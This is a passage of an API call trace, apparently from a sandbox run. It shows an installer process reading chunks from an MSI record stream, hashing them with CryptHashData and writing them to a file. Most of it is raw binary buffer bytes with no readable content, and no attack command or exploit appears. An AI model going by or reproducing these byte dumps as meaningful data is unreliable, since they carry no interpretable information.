\"}Ôóÿ\x97\x14HY\x9d8ôÂOcáæ\x09C6´\x9e-\x94|ÿ<{9\x18äù\x95t®³Yfº\x12â}\x1e\x08ÏÑâ\x10c\x99a*Y<áØ\x86~\x93\x08Å¿.…\x19\x87:©¬$p37I*\x80\x11…\x06\x86ü\x80Ymhû`\x8dè\x9a\x82\x88[ÂkÎËQ\x96\x18\x9f\x1cÎ\x09ô&6Å\x8fó|h®¸C\x10¸ª÷Íý\x12þ\x8c/mßû [\x89M…´dg)/ó\x16\x0b·\x8dzhÙ\x05ß:\x90ÑËï¡\x18\x06\x9ap\x96\x1e\x99\x8edÚ\x97\x0fl\x8e@TülPlì:ùìE¨\x07¼þ@#fb\x8c'P½!±Úq\x7fîc@ÛÍ\x1fòMê\x8bÅù/â\x89þU0Ü|¿ÏæúF\x84~æ×\x13k©Ïÿ6b8~\x97â§þtØ\x8f\x03F\x05ôÂñµÀ\x88iÏ\r\x11¶*³-BPw3\x1cØ°ÂÓ·Ær|g\x9dä+ÕpI£¼8 UÏ5Ç4\x10ãÒÜ$\x02+û9ZYÞÌø=Èq^aÕ/\x11|/Û\rÛ!?ý\x05KOÜr§¸®\x8b%ϸ\x07\x97º\x90\x9d(øƦfÑO0¿\x0cÔ.B´]aÕe\x81!Tò\x18Ã\x0f*è\x88\x19\x88æ\x87\x95\x09\"\x0f\n¼Ú\x93\x18icèæ7AhXwúþï\x05ü\x84¡bCí\x98\x15\x16Æ3uf©Eû\x10\x92\x02è\\â=7fÀ¤\x0eà6ôøÔ^ß\x01\x84÷½ÚEjÜ\x10Æ\x96\x93¼\x8c2ðá\x87\x06ó*o\x86\x9aê\x93G\x82,©Iº\x8b\x09\x80ég\x83Ýw4í±B\x1e£Ñ+E\x8a\x1b\x8e\x04]Ë \x07\x8aäM\x18\x0c\x96ä", pcbDataBuf=0x21df03c) returned 0x0 [0147.246] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.246] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.246] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="#´\x8d\x88\x0bÖ¨Â/¬L%Y\x19¿Rý÷pü¶4\x96 ð \x83Hk¦\x93ÔOa¹%ÇC3Åpf\x9e\x94Þ\x8e`k\x01åKßOûî\x0e\x07RL%\x98ED\x96g_g¾\x1cº·7°iѤ\x10óûÏ\x7fÌ»ÃÚʨG<\x1dÐ];ä\x01!4W7\x1d\x81\x90»¦Ãì\x87\x02à{QÀ\x17º¼}ÜÕà\rØ<ꢪm\x1fDs%\x03ö\x8eÃÄ8E±\n\x94\x90kõ¿\x82\x8eÅ\x17\nÔ+KÍ\x09E÷R¸\x0e÷[C|Íéã\x11T\x1f£O¹'uÇnÑ\x7f\x9d¦û4_Y¸\x19¿/\"jó\x87¾Ö#ߣ\x86øÃÿ1st\x15£õ­£OQ/ø\x1fjÇÃ\x91\x08û\"\x10ú\x04\x80\x8aü\x07\x04\x10\x8aCxL¾ûÓ\x01¦Nw8¤Y³lGâ=\x9c\x9aT@½jÏÀú£\x8dÈI\x13åI\x962ûÝ\x0bÒwËV\x0eu7îmçY·Ð\x8cË¡\x07Î*\x17KÏ$æx)h\x03\x88SË\x9e8.Cnª\x0c½N\"\x9f\x15Ó\x1fç\x1a=\x1fFnN\x9aàt'Æ\x09âa\x95¤8\x12º×\x80;^ä", pcbDataBuf=0x21df03c) returned 0x0 [0147.247] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.248] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.248] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Øu4c¯ÎK\x99\x89\x9es\x82 \x02à0\x8eN\x1e\x1a\x0b4\x06°C\x1aû\x83±ãÐ-ÆϬ&c¾u@\x09{àgHÈxÒµ\x87jù'ÕÛ\x02\"\x04q\x92t@f·_ô\x84~\x890W!Ú/\x81\x14\nº=@\x10\x11>8£S`\x07ÐW6Î*à®f³Îá¡\x1fìcv\x8aB$\x8d\x16¶\x10\x1al®Wh\x95»O{Ê\x8cäÔ\x09j\x0e$I¡\x90T:ç\x95d(\x12uÝ5\x8aÎÓ®Vî\x80\x0cnþâ~\x8b\x9d¡ì@\x87±\x8d\x80*Ì@\x1c£0Ó\x98\x89+¶èЦ´ËHe\x96Á(>\x7fæ\x13øµ QÞ\x02\x16Þ¸\x05Ûç\x9b\x0cêðïÚÜ\x8f\x04^\x7fo?\x11Ìn\x05\x17øTMÕá\x8eJe\x96åØ\x10f³9\x8eÏi\x93ýÒðÓ)GBÊë;½±qAÌ\rÝ\x99©aÆl©òèð6ô\x05éðËS\x84\x95\x10âl\x1f}\x0b\x8b\x93¹\x14»õoµ\x94Éà·\x83¡\"n|Ç\x98©ÌëÀã\x14Q\x92á", pcbDataBuf=0x21df03c) returned 0x0 [0147.249] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.249] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.249] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="½T\x95ïï\x8bAôj\x97Üïª\x99B\x1f)Æ\x14D\x04jeý~a}\x8bk\x9d3u\x18d¤^p\x13ð\x19ÍcÖ\x0bÈL¾]Y°¥\x8dl(\x9d6\x0c\x17\x989à\x86>\x81WH'WѪ\x9b\x8c\x19mp\x89§mäk mÕ¥kTWÉïÀ$Ó\x09¨³MAì]\x9e\x90¸A\n)zÆ\x0eBÙ\x08î\x116ð¯- ¥IÆD\x97\x8c×%+\x88OÚñ{\x99\x1fc\x8fý&\x10Ýj¤`¸à\x14\x7f\x07L'\x83·4¥¶g¯\x09,s«\x19ôjõMu|õ¼0£'\x8d´)¥%«\x0bÏu§\r\r¦G\x05@\x95R\x7fya\x8e\r2\x92¼f\x0b´zÃ&9Y\x86ÈÕ\x94\x98Ù\x06\x84¡ÛOé#ÂU'\x97<1²N\x9a$p5\x9a±\x12\x87¯\x07Zwà\x17b6âË6'ÃÑ\x97Ï_«\x01X\x07í:l`\x1c\x0fñH²\x95ÚÍxjþÔbã\x80PäOñtJa\x0b,8\x83\x92ÂÂ\x9bo1\"\x1a(5|\r\x97…ÒÀ\x98k/\r¶Ñz×L8èý¾ø\x99b÷\x99Já¨\x01GÌÏÂ\r^o\x19¶\x8ft8\x17[\x8e\x0e\n\x1f|\x13²¸4#\x9af\x1a\x81èËèb\x8d\x92Âø?æ\x03bÇ\x90®\x09\x91°ÑE\x07\x7fw\x9eùí~\x18ßÊÌÔøQÑ\x12¸Ùî\x82\x10Î>N­åã\x04Í÷Eý÷\x9eìVyª\x1cJü\x05å\x18L\x7f\x15g¥>\x15SL¹¯\x95kh\x8c<£\x81U\x83ïeZ{\x8eu¡»\x8e=2\x91\x9f44Ôî\x9fÒ#\x15\x17Â$£ºí#MyY\x0e2\x0eõÀtS\x96\x02D~Z\x8e¯\x15½î\x97IlYh\x86À©`Øð)°$\x87­ñ…Áÿ\x8dî5…\x83À¬øS((!¯\x04ý(EY\x86¶ÂAd\x9aP\x16Ñè*áÅy\x1b\x9fr\x06\x88Å'!k`\x0c~\x93­þŵÚàÉ6±\x09\x10\rÑv\x91Q¼±gÃ-Ä,ò#M\x91¥2\x0b¢ýferoâM\x16\x0ee_w\x198tUÛ§R\x83©¬p\x8a8\x92FPp½~\x943L\x8b3Æ®>\x04BÔ2tÍ(\x01ß\x96´\"\x91\x7fè9ý¾­oÕ\x80\x9aL>Å7\x0f¥&+-6ë\x81Q\x96²Û¿R-Ï\x1d\x8c\x83K…\rõ$ZË\x0f\x19ð\x99àe£qÉ\x09>¸Wï=B\x80\x88¤{c _âÞP{úè?ÊCU\x08\x09:ÛI\x13\x8a\x1f)\x96Â\\\r6ôi©\x09hëýþßB .Ïv·°ölð\x03ábö/¤#\x81[\x1d¸|÷\x10¥§\x9a\x88¸©Ö£ý¶à\x13«C±…Zµ\x96\x17{äÃ0\x87¶\n»ï\x95í3ûxI\x0e¿£©µ%\x9a", pcbDataBuf=0x21df03c) returned 0x0 [0147.250] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.250] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.250] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="y\x0f\x91=Q4¬$ü\x8e\x07ú\x1b:d\\V¬m\x1fl\x03\x15H\x13Wòb¿\x7f6}\x1f\x19\x02V\x82ÍÚ¥Èɨ\x99ò\x87\x8düZ\x9fÚ\x7fú\x90ïW¬Ð3\x88\x8dÖ`q ÷\x12ú\x93ó±}t~e-/J\x12\x98\x1fñ*â7) ÁòL4çq=Y\x0e\x8aô\x0eÈ\x11\x95$j©\x8f", pcbDataBuf=0x21df03c) returned 0x0 [0147.252] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.252] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.252] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="­\x97^Âå¶Ò¥7ÿG6\n{Ø/!\x9b\x18_ >ån4¸¿éàF\x1b\x81T\x9a\x9e\x87\x15zîÙ%1(\x94×Ö\x9e\x01ÿh§;Øl/(Óq=\x9c\x1f½®g¨úÿù©¡\x8eÖoù_È©ú\x11µêE8Á.G\x09\x02", pcbDataBuf=0x21df03c) returned 0x0 [0147.253] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.253] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.253] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="æ'ÒµÌr²eÃ^ÏØ­\x1f\x9eÒC^Ù\"E»öÑ×(\x17D\"êAGêøNß\x96e1\x09ÔHù\x03hÛ\x12……}\x17Ö2-\x05M\"m\x8ba'A?úÊÚ\x02\x0fL \x8b'¹RÚFtQ«¨\\b]\x01é\x7f£U\x11Wî\\\x0f\x08\x1d\x88Änw Ïûä\x1f\x1aü=$¢T\x9aò\x15¦p<ëûéE\x91!G¯Uk\x13\x19v3\x13Z\\2Uñ%?Y¬¸ö<\x9eà\x92\x80\x1d\x87tR\x84…¿\x99X\x13Ëd 2\x94ûìs\x05À\x96fÉ\x1a\x09\x87\x03²S\x09\x0cBbß°}÷³·)/(À^Oó¥'21Æ6¾¦H\x08ë\x92Ã=î¬\x9fÛªÚßÕ\x94â\x0f¨{M¯õ°ú¨\x98\x12ôwÂðÕ\x84;\x88`¦\x15<Ô\x80D\x9f¸zkx+Â\x92M\x1a´¿\x1d\x09n¤@ë¼Ê2~\x7f­û0È<\x11D=L6\x0c\x0b¨\n)ÃPPjt0ÞÅ\n>\x9e\x06æéä\x83çÂ\x99°\x81\x15\x81mçâ¥\x91\\9…\x15¶Ì¢S\x92øsðÐ2±xd:ª=0Ä3nàø\x83B\x05i¯ià\x01\\9p9Y3ÛòØzãþ¿…}?\x87~\x80É\x0bSË\x8c\x14ç\n FJ\x846ZüÆU覤,«DÅh!µ\x83>0\nÎeKnñ\x91|Z>ÿ(ÝÇ:\x8d/(…Ók\x95w3\x8a\x05ÛãÕi\x89¤\"\x03\x86*dâ7\x9c\"1\x89iÏ\x93\x1d­3ò\x87÷C#½§^\x93\x92\x91M:-³SÊßøì\x87\x88\x08n\x88¾\x9c\x8en<ÒoP}3ªãÁKY\x8b\n9Ís\x8a±ü\n\x9a\x99Ýз\x1cwÄ.V\x1d\x99HA\"L\x92\x8dS¾ªûßâ]\x92Ùb\x82c\x89µ\x10èøú\x80\r\x9dé\x01Õ\x19  ®åʹ.ó<\x83U\x0b]ÍW%²ÙJMß9\x18\rÜ¡\x88lÖ\x19\x16Ä»¨»9^ÛT\x12\x9aÆDã\x80nÇW>DøbZ\x13\rÙ­ÌÃàO\x0f[ê\x16\x08\x16´úÎ\x8a©a\x11wvPXy\x90¢ç8Æ\x8c\x84\x84¢]\x0c\x9dÕ8\x1b´Î©\x09ÞÅä\x82\x1dªávFÜq\x10wò<ÎKR\x82Q\ré\x94\nYì\x8eó÷Á·à\x12\x94\x1f1ì\x17ã%J¹\n\x04Î\x035õê{ã\x18\x90]Ï}]d°³\x04r\x16òJax¦ùç³ôHÁ©ô5!9íËÝ\x13s<Ë\x07C¼T\x1dBô¥yUg$¯²2æ\\÷=W¤î\x97\x86Z½Ú;èm~E¸x\x02(G\x91íq/ö\x1eb7\x14¨8ð¬]ãëà^Æz¡Ñþ\x8ec\x04H4\x1c…Ì:þ?uÚ\x1dBå\x8fz<á\x0b\x05Evâ.Í«ÃÃKK¹ýöãɧÇËF\x8bé\x10Ë]ì´õ\x9e÷hå\"Õ \x84ªó45Z\x1báû\x18¨2áâé#/V\x16íç4\x98úfÃ\x87à\x8fRzñ^\x11ðîôèÎȼY¿³ÍA(\x09½£\x94x%²sJGOqWÑ?\x8a¨Ù­\x91\x1dºµ\x9a\x17\x15\x8fª÷ASæ\x0e}Qq…gp\x04å)·Ó£¶v\x9e\x91ÜÂ$\x94XP$[\x06ö\x10§\n\x06\x8d\x1c", pcbDataBuf=0x21df03c) returned 0x0 [0147.261] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.261] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.261] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="(,\x1fÖ¹\x98õàøY\x08P\x95\x90\x06¤…+UkÌ1¾¿í\x8ekêWIÎ\x91ª¿\x1a\x96\x84\x1c\x1e:FìP\x17ýN7èûW\x99\x12ó\x15®Ùª\x03i\r\x11;\x12Û\x05^¨Ï0\x0eA=³­3&òÝ.2á.ÝÔ{\x05è½óy·î°\x97¶Ü&a\x9d\x82\x05\x95Eíé|\x03¡\x1d\x88,8ÊO\x12$\x9b3î¡7çkй\x04J\x82\x0eÅ\x16ú¾g!8Ësvùô\x05û@,\x9cñ.¹|\x8a\x89ÝÐÞ\x96$x©\x97?~\x89ßÑÁ÷¹wUëa\x83¶ÝÜËç^½J\x1aºP\x9d ×·Ø¹\x9còÑÞh!\x89íÞ\x97c;ÐÂ\x9bS¾®,\x9a<\x18\x01§o\x08\x12èO³´~ÔÓA\x08¢\x03¦øj\x13 »(¡þ\x99÷Sy\x9f*»¼\x1c\x1a¬Ùø\x09.½Ô\x08\x8cêU:É-z×\x97¿9\"ha\x177Ñ|\x8e©â=\"¬ú\x12ÊÒ\x1e\x06î1Õ\x8d²SáGÒÃ\x16ú2W\x8dmI\x9fÛAÐ4Ü!\x80\x05QÁ\ry\x90±\x14v51qjî\x7f\x10|a…e\x10\\?éÚýæÏÛÇ\x08Û\x11KíÙ@\x83ÆN\x8eF\x03]è±!yÕ\x0c\x17Ø,ßî\rbU", pcbDataBuf=0x21df03c) returned 0x0 [0147.262] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.262] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.263] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="#è\x1cv³Ü·ÂrÙ¦3\x1a¥n|é²%\x9b(\x82JO\x06\x07·\x98§D×E9°\x12=Chõ?\x9f¼\x84pÏìÐë¶'È@ð¸Ý\x93*¥c¢]\"1\x84R\x02ì \x12\x02\x1f+0\x8cBîXç®`¼\x7fK;5`c1Déîñ \x8bß\x8f¥°ñÏÄ\x05\x88Sc)o v=_¶\x15ê\x12 w¼l\x9f\x80î,\x08=:W\x02eÄD´%±E\x0cE.ÛrÈcK÷ô\x1b¦¶\x0c¼´Z\x92ö»Í%\x9f\x1f\x8bJͽ©ª¶I³8QÊ2Å\x18ûÍ\x07Â\x91KÌ\x89\x11p8_åª÷0t%ë\x92\x84\x9aÎÕ§\x13P\x1aðD@\n_ÙP…´a,ÊåJl\x08\x94\x06PWÄW\x10cÚóÚXF `Úd\x0b\x1a£ò¸ê\x1aý\x9dAD·¬$cÒÑA@èFT;æ½s\x87\x96½(\x87\x01I…¹\x0e\x91¥7\x0cÆ\x7f¿PL¨\x94\x03\x8eL{ûÕ|\x96²ù;]©û^^ò\x05ÏÓäoF,\x14}\x13¿\x92\x9a\x81±î˺À\x97[\x9b<\x8a7Ä\x89\x01eó«~<\x12BEª\x93§®5\x11\x8a\x12\x84\x10÷\x8a½yú¬9ÓéL£·\x07tô7\x9d):*¢¸ÕìÆÚ7?¶\x83\x8fòX\x05\x10\x1c…\x8b\x9eÄÎe]%\x1fcàv¾ä&Hâ*Î\x06\x88²\\ \x9fQå4\x0c\x05", pcbDataBuf=0x21df03c) returned 0x0 [0147.264] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.264] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.264] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÏÙ\x0bìÉ;:\x94\x10\x09\x16+Øn\x87\x8cÐ\x0b×uU}+ïÓf\x88¸7W° y¼È\x0cYT\x14\x83µIz-q#h^\x93ÓF9üЯ>wëýù²óHýytØ­?ñ½Ð\x0b/\x84#`©Î¾²\x18¤{yÅÎ.®Í®²»\x8by.J´Àj\x15ï\x1a\x9eWO\x88ñ\x125\x16ë\x13³ÆòGtkr\x92k\x0fTÃ\rÔ\x0còë\x07x\x16\x01JlrYú\rÙ\x82åÆ9\x03\x1eét…\x94_oî\x11Ö/\rMÝÏy¦\x87¢@#Y\x11\x9aÝ7\x8d\x19ô\x80û\x11ÀøNw\x87k\x1fó\x871kè\x11γµ-y\x99ÔôÜ·µ\x90\x8cû\x9c² Ç\x8eZ#zùE.w¬\x15á\x95x\x10¹Ø\x87Î%\x99\x94ãÜ×ý\x0eÉ\x19\x1d¼òcõH\x14YÌ\x16X\x02­b\x04Up÷ÉHn\"ç\x070.u\x86ÅCÄ>½©e=ò\x1eÐ9oåÊ\x94ÿÕH\x9fOÞ7í@^ao¬¬ìK\x81\x99\x99¡N\x17Ù\x16àÄ¿?Ý:þÙ®óSÊTi÷\x83fº1­\x05úf·ÖF¨M±m±\x82\x94\x1c", pcbDataBuf=0x21df03c) returned 0x0 [0147.282] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.282] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.282] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="´I_ß}=Yc3Ã\x9a\x0cY\x1eg¤9\x9a\x19§\x80ÉPÂ*à\x96©ø%\"\x1c\x88\x16êXEi$-î|æ3Û\x84×l³\x06\x8e\x8f\x16¸\x81zÞÌ­\x04ÐÏ-\x18GÓÁ5\x01|Ê\x04Ô\x8d\x04¢eø\x96°ÞO\x17~\x80\x0bÎ\x17õþ/\x0eò\x16Î,`\x82?\x91©\x96Ñ\x82\x8eZÌ~\x1cµó\x898·\x9a7£/O3s¶\x9d³\x15£\x0cÌIé`LÔ§è\x0f\x9dÎÙ\x8e\x8f\x1f89&³ \x1aê\x1d³õá\x86\x95Më\x84H\x02ù£\\\x04\x03OiÿÔb1Û·<º\x82\x8cò\x9a\x9fRP|!F\x95\x92üþ®Â+G\x17\x96\x94÷[ýA\x14°}\x91\x8b=ç²;ÉöÄ\x04Å}\x04k(v¼u\x03#¡#÷È\x17Q`\x19ãWXB_R\x1f…÷ññò¼©&", pcbDataBuf=0x21df03c) returned 0x0 [0147.284] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.284] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.284] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ç\x97óR1Ù\x8b2¡\x11È9U¸¦0N¯ÌiÉÁµ*\x11\x9dU¸\x82ÏYÇ\x11\x9eú±C»ó1jå\x05Þ3\x8aÓÐI¥ý\x1bû¥\x83Á\x1dg!Æ\x8e!¥P)ò²!\x18µj\x89O'\x8d^¸\x98^¸Âsg\x19c\x90àr÷\x03\x12¼>IÚÙphGý·ãC¤0«vâÖ\x13\x17\r¹Ã9±ËvZGË\x1fg\x99¬=\x9e^\x16éô);a\x15û¨\x9b÷+OJûWAý¡b\x1b»únÂl¨czG\\î«\x7f\x9f\x8fÕ[…4ó\x96ãÁøî~dzPâ3érYä\x07d?-7F\x8f\x1e«\x9bò\x19Ãt\x19î\x15\x98׫»\\ì¸;Å]l\x84Sjª0Hì\x9aÆ\x17çB39\x83(¤¨¼¯,N\x86¯ÓN¾Ì¦\x0fä}Vt\x9f´@¼­Ö\x8a»\x09\x09Pÿ`W\x84\x1d\x97\x8c9\x8fã1°Õ\x94\x05Õpî!]H¥B\x90\x99ÊR\r\x9cÁ£Ý\x96¡üt©²\x099!Ës^Ô\x1e\x07³\x8a\x1b]ú8\x96Æ|Ì\x88æk_LñÝl\x0fÈ3\x82\x1ecÒèéLQ\x8az\x86\x1b\x9dc;8G,\x14~Å\x80ØV­>º³2MîÓHAþÇÐBÄ,Ýgfó\x92¯ÒboJÖÇr\\åf¹å\x99la½ºïî\x09SX\x96tØÞ½ùÌæP¹¨\x81Õ ¤2ð\x08\x02\x01ñA\x9a\x8b¶\x81Ò\x9f\x88gË\x98ý»H®«\x87.*þ\x8c\x95àT…·\x09\x126\x9cVzѲ\x8bò~è#\x0f\x96\x8f¢\x95ëÜNg+äw", pcbDataBuf=0x21df03c) returned 0x0 [0147.286] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.286] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.286] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x16ñ¾b7\x9a\x0e\x98'à\x89\x98ÿr\x8bI¸ÝÁLØ\x95ÂMÉþ;Ú`\x92jåL§õɸ8¬%q¨ ¬m!UArÚª\x12P±T\x83Y\x04\x83$·\x17ì\r$~&\rA\x0e\x82¡\x1fl\x1cPÖ3êö© 6S\x87MxV±\x18ê¡!D\x9eC¼çÖ\x84\x8dÁVÏ%ÒË\x8c\x87\x1eß4.@\x90ög\x06\x02)§`áM9$Áê¼ÎA=\x12ª/uøý\x16|\\\x0c\x92# Û%\x86°\x7f¬èC\x0eäk6h\x9cí\x88\x84ô+óÂé7h\x01¸þë\x82Ý\x1b à\x8fUæ\x19\nx\x10wa½\x1d¼§ÒÝú~\x108ÛD\\Këc\x15:ë³Nþ\x091)è¸\x01\x1bvç\x02PCçÞڅ\x9cq<ÕÄ«'Ò\x9aÄIܯ-ù\r\x11\"¯òS¶y\x90Õ¦\x93¸XÆÍ\x9d\x82\x03À¾\x86\x8d¨", pcbDataBuf=0x21df03c) returned 0x0 [0147.287] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.287] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.288] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="68Ò1\x99ïÏ\x95\x17P5ËVùµGâ©E\x14î\x10\r=º_ñÂ\x0f5\x98\x1e1rir\x0eñ¦0Èú[:\x97C\x8cu\x1exb£N?´Õ\x96øTð=¹:\n\x83\x04ÅG:p\x83!i´Ä'R\x0f³>áq¤°¿iÃ\x86|A®P*g\x83A\x7f\x0eM\x92é\x05\x99\x7fþP¬ø\x1cRy²Q*Ç\x7f@/\x9b\x8d±2NùvuÝ\x80;×àåHÄÕ¯´$õªªø\x18dâpÒxL¦Ä,Le\"z\x05æ!v)T$ÁÊU\x96?j\x9aâëºg#-41'e\x81±ÜÉ\x1a§5\x0b\x98|®ù\x86RÑÍ\x90[¬\x90ÿ\x1b),ߧ\")4yäÙ(õF\rÕCʶ\rÃمÈ\x1e2Ò}í\x12.§", pcbDataBuf=0x21df03c) returned 0x0 [0147.289] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.289] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.289] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¾\x11\x01;\x83\x07G}ó\x8dç¼V{ïlçÚ¯ú\x06à\x0b\x9en\x151i\x97\x8eM\x8a\x08\x1btY|\x01µç}ì?Þ\x94Ù)¶P\x03pù\r3¢VyÝC\x9d\x8dò2¢6'ý×\x17~\x95\x8a \x83ÏQü\x95Y", pcbDataBuf=0x21df03c) returned 0x0 [0147.291] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.291] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.291] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: 